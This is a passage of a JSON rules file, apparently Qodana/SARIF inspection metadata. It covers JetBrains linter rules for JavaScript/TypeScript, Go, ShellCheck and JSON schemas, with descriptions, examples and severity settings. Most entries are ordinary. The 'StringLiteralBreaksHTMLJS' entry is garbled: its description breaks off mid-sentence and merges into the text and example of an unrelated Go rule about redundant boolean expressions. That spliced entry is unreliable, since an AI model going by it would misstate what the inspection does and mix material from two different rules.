recursion, that is, when a function calls itself as its last action before returning. A tail recursion can always be replaced by looping, which will be considerably faster. Some JavaScript engines perform this optimization, while others do not. Thus, tail recursive solutions may have considerably different performance characteristics in different environments." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TailRecursionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertToForOf", "shortDescription": { "text": "'for..in' is used instead of 'for..of'" }, "fullDescription": { "text": "Reports a usage of a 'for..in' loop on an array. Suggests replacing it with a 'for..of' loop. 'for..of' loops, which are introduced in ECMAScript 6, iterate over 'iterable' objects. For arrays, this structure is preferable to 'for..in', because it works only with array values but not with array object's properties.", "markdown": "Reports a usage of a [for..in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in) loop on an array. Suggests replacing it with a [for..of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop. \n`for..of` loops, which are introduced in ECMAScript 6, iterate over `iterable` objects. For arrays, this structure is preferable to `for..in`, because it works only with array values but not with array object's properties." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertToForOf", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FlowJSCoverage", "shortDescription": { "text": "Code is not covered by Flow" }, "fullDescription": { "text": "Reports JavaScript code fragments that are not covered by the Flow type checker. To use this inspection, configure the Flow executable in Settings | Languages & Frameworks | JavaScript.", "markdown": "Reports JavaScript code fragments that are not covered by the Flow type checker. To use this inspection, configure the Flow executable in [Settings \\| Languages \\& Frameworks \\| JavaScript](settings://Settings.JavaScript)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "FlowJSCoverage", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Flow type checker", "index": 12, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ParameterNamingConventionJS", "shortDescription": { "text": "Function parameter naming convention" }, "fullDescription": { "text": "Reports a function parameter whose name is too short, too long, or doesn't follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length and regular expression expected for local variables names. Use the standard 'java.util.regex' format regular expressions.", "markdown": "Reports a function parameter whose name is too short, too long, or doesn't follow the specified regular expression pattern.\n\n\nUse the fields provided below to specify minimum length, maximum length and regular expression\nexpected for local variables names. Use the standard `java.util.regex` format regular expressions." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ParameterNamingConventionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Naming conventions", "index": 46, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUndefinedPropertyAssignment", "shortDescription": { "text": "Undefined property assignment" }, "fullDescription": { "text": "Reports an assignment to a property that is not defined in the type of a variable. Example: '/**\n * @type {{ property1: string, property2: number }}\n */\nlet myVariable = create();\n\nmyVariable.newProperty = 3; // bad'", "markdown": "Reports an assignment to a property that is not defined in the type of a variable.\n\nExample:\n\n\n /**\n * @type {{ property1: string, property2: number }}\n */\n let myVariable = create();\n\n myVariable.newProperty = 3; // bad\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSUndefinedPropertyAssignment", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "StandardJS", "shortDescription": { "text": "Standard code style" }, "fullDescription": { "text": "Reports a discrepancy detected by the JavaScript Standard Style linter. The highlighting severity in the editor is based on the severity level the linter reports.", "markdown": "Reports a discrepancy detected by the [JavaScript Standard Style](https://standardjs.com/) linter. \n\nThe highlighting severity in the editor is based on the severity level the linter reports." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "StandardJS", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code quality tools", "index": 51, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ParametersPerFunctionJS", "shortDescription": { "text": "Function with too many parameters" }, "fullDescription": { "text": "Reports a function with too many parameters. Such functions often indicate problems with design. Use the field below to specify the maximum acceptable number of parameters for a function.", "markdown": "Reports a function with too many parameters. Such functions often indicate problems with design.\n\n\nUse the field below to specify the maximum acceptable number of parameters for a function." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "OverlyComplexFunctionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ThisExpressionReferencesGlobalObjectJS", "shortDescription": { "text": "'this' expression which references the global object" }, "fullDescription": { "text": "Reports a 'this' expression outside an object literal or a constructor body. Such 'this' expressions reference the top-level \"global\" JavaScript object, but are mostly useless.", "markdown": "Reports a `this` expression outside an object literal or a constructor body. Such `this` expressions reference the top-level \"global\" JavaScript object, but are mostly useless." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ThisExpressionReferencesGlobalObjectJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NestedAssignmentJS", "shortDescription": { "text": "Nested assignment" }, "fullDescription": { "text": "Reports an assignment expression nested inside another expression, for example, 'a = b = 1'. Such expressions may be confusing and violate the general design principle that a given construct should do precisely one thing.", "markdown": "Reports an assignment expression nested inside another expression, for example, `a = b = 1`. Such expressions may be confusing and violate the general design principle that a given construct should do precisely one thing." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NestedAssignmentJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Assignment issues", "index": 34, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DefaultNotLastCaseInSwitchJS", "shortDescription": { "text": "'default' not last case in 'switch'" }, "fullDescription": { "text": "Reports a 'switch' statement where the 'default' case comes before another case instead of being the very last case, which may cause confusion.", "markdown": "Reports a `switch` statement where the `default` case comes before another case instead of being the very last case, which may cause confusion." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "DefaultNotLastCaseInSwitchJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Switch statement issues", "index": 47, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ConfusingPlusesOrMinusesJS", "shortDescription": { "text": "Confusing sequence of '+' or '-'" }, "fullDescription": { "text": "Reports a suspicious combination of '+' or '-' characters in JavaScript code (for example, 'a+++b'. Such sequences are confusing, and their semantics may change through changes in the whitespace.", "markdown": "Reports a suspicious combination of `+` or `-` characters in JavaScript code (for example, `a+++b`. Such sequences are confusing, and their semantics may change through changes in the whitespace." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ConfusingPlusesOrMinusesJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSDeprecatedSymbols", "shortDescription": { "text": "Deprecated symbol used" }, "fullDescription": { "text": "Reports a usage of a deprecated function variable.", "markdown": "Reports a usage of a deprecated function variable." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSDeprecatedSymbols", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "LocalVariableNamingConventionJS", "shortDescription": { "text": "Local variable naming convention" }, "fullDescription": { "text": "Reports a local variable whose name is too short, too long, or doesn't follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression expected for local variables names. Use the standard 'java.util.regex' format regular expressions.", "markdown": "Reports a local variable whose name is too short, too long, or doesn't follow the specified regular expression pattern.\n\n\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\nexpected for local variables names. Use the standard `java.util.regex` format regular expressions." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LocalVariableNamingConventionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Naming conventions", "index": 46, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "EmptyFinallyBlockJS", "shortDescription": { "text": "Empty 'finally' block" }, "fullDescription": { "text": "Reports an empty 'finally' block, which usually indicates an error.", "markdown": "Reports an empty `finally` block, which usually indicates an error." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "EmptyFinallyBlockJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSCommentMatchesSignature", "shortDescription": { "text": "Mismatched JSDoc and function signature" }, "fullDescription": { "text": "Reports mismatch between the names and the number of parameters within a JSDoc comment and the actual parameters of a function. Suggests updating parameters in JSDoc comment. Example: '/**\n * @param height Height in pixels\n */\nfunction sq(height, width) {} // width is not documented' After the quick-fix is applied: '/**\n * @param height Height in pixels\n * @param width\n */\nfunction sq(height, width) {}'", "markdown": "Reports mismatch between the names and the number of parameters within a JSDoc comment and the actual parameters of a function. Suggests updating parameters in JSDoc comment.\n\n**Example:**\n\n\n /**\n * @param height Height in pixels\n */\n function sq(height, width) {} // width is not documented\n\nAfter the quick-fix is applied:\n\n\n /**\n * @param height Height in pixels\n * @param width\n */\n function sq(height, width) {}\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSCommentMatchesSignature", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UpdateDependencyToLatestVersion", "shortDescription": { "text": "Update package.json dependencies to latest versions" }, "fullDescription": { "text": "Suggests to upgrade your package.json dependencies to the latest versions, ignoring specified versions.", "markdown": "Suggests to upgrade your package.json dependencies to the latest versions, ignoring specified versions." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "UpdateDependencyToLatestVersion", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Imports and dependencies", "index": 42, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptConfig", "shortDescription": { "text": "Inconsistent tsconfig.json properties" }, "fullDescription": { "text": "Reports inconsistency of a 'paths', 'checkJs', or 'extends' property in a tsconfig.json file. The 'checkJs' property requires 'allowJs'. The 'extends' property should be a valid file reference.", "markdown": "Reports inconsistency of a `paths`, `checkJs`, or `extends` property in a tsconfig.json file. \nThe `checkJs` property requires `allowJs`. \nThe `extends` property should be a valid file reference." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TypeScriptConfig", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSSuspiciousNameCombination", "shortDescription": { "text": "Suspicious variable/parameter name combination" }, "fullDescription": { "text": "Reports an assignment or a function call where the name of the target variable or the function parameter does not match the name of the value assigned to it. Example: 'var x = 0;\n var y = x;' or 'var x = 0, y = 0;\n var rc = new Rectangle(y, x, 20, 20);' Here the inspection guesses that 'x' and 'y' are mixed up. Specify the names that should not be used together. An error is reported if a parameter name or an assignment target name contains words from one group while the name of the assigned or passed variable contains words from another group.", "markdown": "Reports an assignment or a function call where the name of the target variable or the function parameter does not match the name of the value assigned to it.\n\nExample:\n\n\n var x = 0;\n var y = x;\n\nor\n\n\n var x = 0, y = 0;\n var rc = new Rectangle(y, x, 20, 20);\n\nHere the inspection guesses that `x` and `y` are mixed up.\n\nSpecify the names that should not be used together. An error is reported\nif a parameter name or an assignment target name contains words from one group while the name of the assigned or passed\nvariable contains words from another group." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSSuspiciousNameCombination", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUnresolvedExtXType", "shortDescription": { "text": "Unresolved Ext JS xtype" }, "fullDescription": { "text": "Reports an Ext JS 'xtype' reference that doesn't have a corresponding class.", "markdown": "Reports an Ext JS `xtype` reference that doesn't have a corresponding class." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSUnresolvedExtXType", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ForLoopThatDoesntUseLoopVariableJS", "shortDescription": { "text": "'for' loop where update or condition does not use loop variable" }, "fullDescription": { "text": "Reports a 'for' loop where the condition or update does not use the 'for' loop variable.", "markdown": "Reports a `for` loop where the condition or update does not use the `for` loop variable." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ForLoopThatDoesntUseLoopVariableJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptAbstractClassConstructorCanBeMadeProtected", "shortDescription": { "text": "Abstract class constructor can be made protected" }, "fullDescription": { "text": "Reports a public constructor of an abstract class and suggests making it protected (because it is useless to have it public).", "markdown": "Reports a public constructor of an abstract class and suggests making it protected (because it is useless to have it public)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptAbstractClassConstructorCanBeMadeProtected", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FunctionWithMultipleReturnPointsJS", "shortDescription": { "text": "Function with multiple return points" }, "fullDescription": { "text": "Reports a function with multiple return points. Such functions are hard to understand and maintain.", "markdown": "Reports a function with multiple return points. Such functions are hard to understand and maintain." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionWithMultipleReturnPointsJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSIgnoredPromiseFromCall", "shortDescription": { "text": "Result of method call returning a promise is ignored" }, "fullDescription": { "text": "Reports a function call that returns a 'Promise' that is not used later. Such calls are usually unintended and indicate an error.", "markdown": "Reports a function call that returns a `Promise` that is not used later. Such calls are usually unintended and indicate an error." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSIgnoredPromiseFromCall", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Async code and promises", "index": 49, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ThreeNegationsPerFunctionJS", "shortDescription": { "text": "Function with more than three negations" }, "fullDescription": { "text": "Reports a function with three or more negation operations ('!' or '!='). Such functions may be unnecessarily confusing.", "markdown": "Reports a function with three or more negation operations (`!` or `!=`). Such functions may be unnecessarily confusing." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionWithMoreThanThreeNegationsJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSRemoveUnnecessaryParentheses", "shortDescription": { "text": "Unnecessary parentheses" }, "fullDescription": { "text": "Reports redundant parentheses. In expressions: 'var x = ((1) + 2) + 3' In arrow function argument lists: 'var incrementer = (x) => x + 1' In TypeScript and Flow type declarations: 'type Card = (Suit & Rank) | (Suit & Number)'", "markdown": "Reports redundant parentheses.\n\nIn expressions:\n\n var x = ((1) + 2) + 3\n\nIn arrow function argument lists:\n\n var incrementer = (x) => x + 1\n\nIn TypeScript and Flow type declarations:\n\n type Card = (Suit & Rank) | (Suit & Number)\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSRemoveUnnecessaryParentheses", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "OverlyComplexBooleanExpressionJS", "shortDescription": { "text": "Overly complex boolean expression" }, "fullDescription": { "text": "Reports a boolean expression with too many terms. Such expressions may be confusing and bug-prone. Use the field below to specify the maximum number of terms allowed in an arithmetic expression.", "markdown": "Reports a boolean expression with too many terms. Such expressions may be confusing and bug-prone.\n\n\nUse the field below to specify the maximum number of terms allowed in an arithmetic expression." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "OverlyComplexBooleanExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "OverlyComplexArithmeticExpressionJS", "shortDescription": { "text": "Overly complex arithmetic expression" }, "fullDescription": { "text": "Reports an arithmetic expression with too many terms. Such expressions may be confusing and bug-prone. Use the field below to specify the maximum number of terms allowed in an arithmetic expression.", "markdown": "Reports an arithmetic expression with too many terms. Such expressions may be confusing and bug-prone.\n\n\nUse the field below to specify the maximum number of terms allowed in an arithmetic expression." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "OverlyComplexArithmeticExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6RedundantNestingInTemplateLiteral", "shortDescription": { "text": "Redundant nesting in template literal" }, "fullDescription": { "text": "Reports nested instances of a string or a template literal. Suggests inlining the nested instances into the containing template string. Example: 'let a = `Hello, ${`Brave ${\"New\"}`} ${\"World\"}!`' After applying the quick-fix the code looks as follows: 'let a = `Hello, Brave New World!`'", "markdown": "Reports nested instances of a string or a template literal. Suggests inlining the nested instances into the containing template string.\n\nExample:\n\n\n let a = `Hello, ${`Brave ${\"New\"}`} ${\"World\"}!`\n\nAfter applying the quick-fix the code looks as follows:\n\n\n let a = `Hello, Brave New World!`\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6RedundantNestingInTemplateLiteral", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "StringLiteralBreaksHTMLJS", "shortDescription": { "text": "String literal which breaks HTML parsing" }, "fullDescription": { "text": "Reports a string literal that contains a ' 0 && x > 0\n}' You can apply the Simplify expression quick-fix for the 'x > 0 && x > 0' part. After the quick-fix is applied, the expression looks as follows: 'x > 0'.", "markdown": "Reports parts of boolean expressions that are either always `true`, always `false`, or redundant. Such boolean expressions can be simplified, which may improve a readability of the code. In some cases, this also indicates a presence of other issues.\n\nExample:\n\n func isNonZero(x, y int) bool {\n // the second comparison is either always true\n // or not executed at all\n return x > 0 && x > 0\n }\n\nYou can apply the **Simplify expression** quick-fix for the `x > 0 && x > 0` part. After the quick-fix\nis applied, the expression looks as follows: `x > 0`." }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "GoBoolExpressions", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Go/Declaration redundancy", "index": 5, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GoUnusedGlobalVariable", "shortDescription": { "text": "Unused global variable" }, "fullDescription": { "text": "Reports global variables that are defined but are never used in code. If you have unused variables, the code will not compile. For more information about unused variables and imports, refer to Unused imports and variables at go.dev. 'func main() {\n a := 422\n}' Code in the example will not compile. Therefore, it is highlighted as an error. You can apply two quick-fixes for such cases: Delete variable and Rename to _. The first quick-fix deletes the variable, the second one will convert the variable to a blank identifier. After the Rename to _ quick-fix is applied: 'func main() {\n _ := 422\n}'", "markdown": "Reports global variables that are defined but are never used in code.\n\nIf you have unused variables, the code will not compile.\nFor more information about unused variables and imports, refer to [Unused imports and\nvariables at go.dev](https://go.dev/doc/effective_go#blank_unused).\n\n func main() {\n a := 422\n }\n\nCode in the example will not compile. Therefore, it is highlighted as an error. You can apply two quick-fixes for such cases:\n**Delete variable** and **Rename to _**. The first quick-fix deletes the variable, the second one will convert the variable to a blank\nidentifier.\n\nAfter the **Rename to _** quick-fix is applied:\n\n func main() {\n _ := 422\n }\n" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "GoUnusedGlobalVariable", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Go/Declaration redundancy", "index": 5, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GoAssignmentToReceiver", "shortDescription": { "text": "Assignment to a receiver" }, "fullDescription": { "text": "Reports assignments to method receivers. When you assign a value to the method receiver, the value will not be reflected outside of the method itself. Values will be reflected in subsequent calls from the same method. Example: 'package main\n\nimport \"fmt\"\n\ntype demo struct {\n Val int\n}\n\nfunc (d *demo) change() {\n d = nil // Assignment to the method receiver propagates only to callees but not to callers\n d.myVal()\n}\n\nfunc (d *demo) myVal() {\n fmt.Printf(\"my val: %#v\\n\", d)\n}\n\nfunc (d demo) change2() {\n d = demo{} // Assignment to the method receiver doesn't propagate to other calls\n d.myVal()\n}\n\nfunc (d *demo) change3() {\n d.Val = 3\n d.myVal()\n}\n\nfunc main() {\n d := &demo{}\n d.myVal()\n d.change()\n d.myVal()\n d.Val = 2\n d.change2()\n d.myVal()\n d.change3()\n d.myVal()\n}'", "markdown": "Reports assignments to method receivers.\n\nWhen you assign a value to the method receiver, the value will not be reflected outside of the method itself.\nValues will be reflected in subsequent calls from the same method.\n\nExample:\n\n package main\n\n import \"fmt\"\n\n type demo struct {\n Val int\n }\n\n func (d *demo) change() {\n d = nil // Assignment to the method receiver propagates only to callees but not to callers\n d.myVal()\n }\n\n func (d *demo) myVal() {\n fmt.Printf(\"my val: %#v\\n\", d)\n }\n\n func (d demo) change2() {\n d = demo{} // Assignment to the method receiver doesn't propagate to other calls\n d.myVal()\n }\n\n func (d *demo) change3() {\n d.Val = 3\n d.myVal()\n }\n\n func main() {\n d := &demo{}\n d.myVal()\n d.change()\n d.myVal()\n d.Val = 2\n d.change2()\n d.myVal()\n d.change3()\n d.myVal()\n }\n" }, "defaultConfiguration": { "enabled": true, "level": "note", "parameters": { "suppressToolId": "GoAssignmentToReceiver", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "Go/Control flow issues", "index": 50, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GoLoopClosure", "shortDescription": { "text": "Loop variables captured by the func literal" }, "fullDescription": { "text": "Reports references to loop variables from within 'func' literals in 'defer' and 'go' statements. Such variables might have unexpected values because they are not copied to 'func' literals, and the 'func' literals in 'defer' and 'go' are not executed immediately. For more information about closures and goroutines, refer to What happens with closures running as goroutines? at go.dev. Example: 'for _, v := range []string{\"a\", \"b\", \"c\"} {\n go func() {\n fmt.Println(v) // output will likely be `c c c`, not `a b c`\n }()\n}' After the quick-fix is applied: 'for _, v := range []string{\"a\", \"b\", \"c\"} {\n v := v // `v` is copied now\n go func() {\n fmt.Println(v)\n }()\n}' Note the analyzer only checks 'defer' and 'go' statements when they are the last statement in the loop body. Otherwise, the analysis might produce false detections.", "markdown": "Reports references to loop variables from within `func` literals in `defer` and `go` statements. Such variables might have unexpected values because they are not copied to `func` literals, and the `func` literals in `defer` and `go` are not executed immediately.\n\nFor more information about closures and goroutines, refer to [What happens\nwith closures running as goroutines? at go.dev](https://go.dev/doc/faq#closures_and_goroutines).\n\nExample:\n\n for _, v := range []string{\"a\", \"b\", \"c\"} {\n go func() {\n fmt.Println(v) // output will likely be `c c c`, not `a b c`\n }()\n }\n\nAfter the quick-fix is applied:\n\n for _, v := range []string{\"a\", \"b\", \"c\"} {\n v := v // `v` is copied now\n go func() {\n fmt.Println(v)\n }()\n }\n\nNote the analyzer only checks `defer` and `go` statements when they are the last statement in the loop body.\nOtherwise, the analysis might produce false detections." }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "GoLoopClosure", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Go/Probable bugs", "index": 4, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "GoBuildTag", "shortDescription": { "text": "Malformed build tag" }, "fullDescription": { "text": "Reports malformed build tags and build tags in the incorrect location. The 'go' tool expects build tags to be located in particular places and follow a special syntax. If these requirements are not followed, build tags could either be ignored or the files could be incorrectly excluded from the build. See Build Constraints at go.dev. Example: 'package main\n\n// +build ignore\n\nfunc main() {}' The '// +build ignore' part should be before the package declaration. To fix that, you can apply the Place build tag before package quick-fix. After the quick-fix is applied: '// +build ignore\n\npackage main\n\nimport \"fmt\"'", "markdown": "Reports malformed build tags and build tags in the incorrect location. The `go` tool expects build tags to be located in particular places and follow a special syntax. If these requirements are not followed, build tags could either be ignored or the files could be incorrectly excluded from the build.\n\nSee [Build Constraints at go.dev](https://pkg.go.dev/go/build#hdr-Build_Constraints).\n\nExample:\n\n package main\n\n // +build ignore\n\n func main() {}\n\nThe `// +build ignore` part should be before the package declaration. To fix that, you can apply\nthe **Place build tag before package** quick-fix. After the quick-fix is applied:\n\n // +build ignore\n\n package main\n\n import \"fmt\"\n" }, "defaultConfiguration": { "enabled": true, "level": "note", "parameters": { "suppressToolId": "GoBuildTag", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "Go/Probable bugs", "index": 4, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "com.jetbrains.sh", "version": "233.13017", "rules": [ { "id": "ShellCheck", "shortDescription": { "text": "ShellCheck" }, "fullDescription": { "text": "Reports shell script bugs detected by the integrated ShellCheck static analysis tool.", "markdown": "Reports shell script bugs detected by the integrated [ShellCheck](https://github.com/koalaman/shellcheck) static analysis tool." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "ShellCheck", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "Shell script", "index": 6, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "com.intellij", "version": "233.13017.73", "rules": [ { "id": "JsonSchemaDeprecation", "shortDescription": { "text": "Deprecated JSON property" }, "fullDescription": { "text": "Reports a deprecated property in a JSON file. Note that deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard extension 'deprecationMessage'.", "markdown": "Reports a deprecated property in a JSON file. \nNote that deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard extension 'deprecationMessage'." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JsonSchemaDeprecation", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JsonSchemaRefReference", "shortDescription": { "text": "Unresolved '$ref' and '$schema' references" }, "fullDescription": { "text": "Reports an unresolved '$ref' or '$schema' path in a JSON schema.", "markdown": "Reports an unresolved `$ref` or `$schema` path in 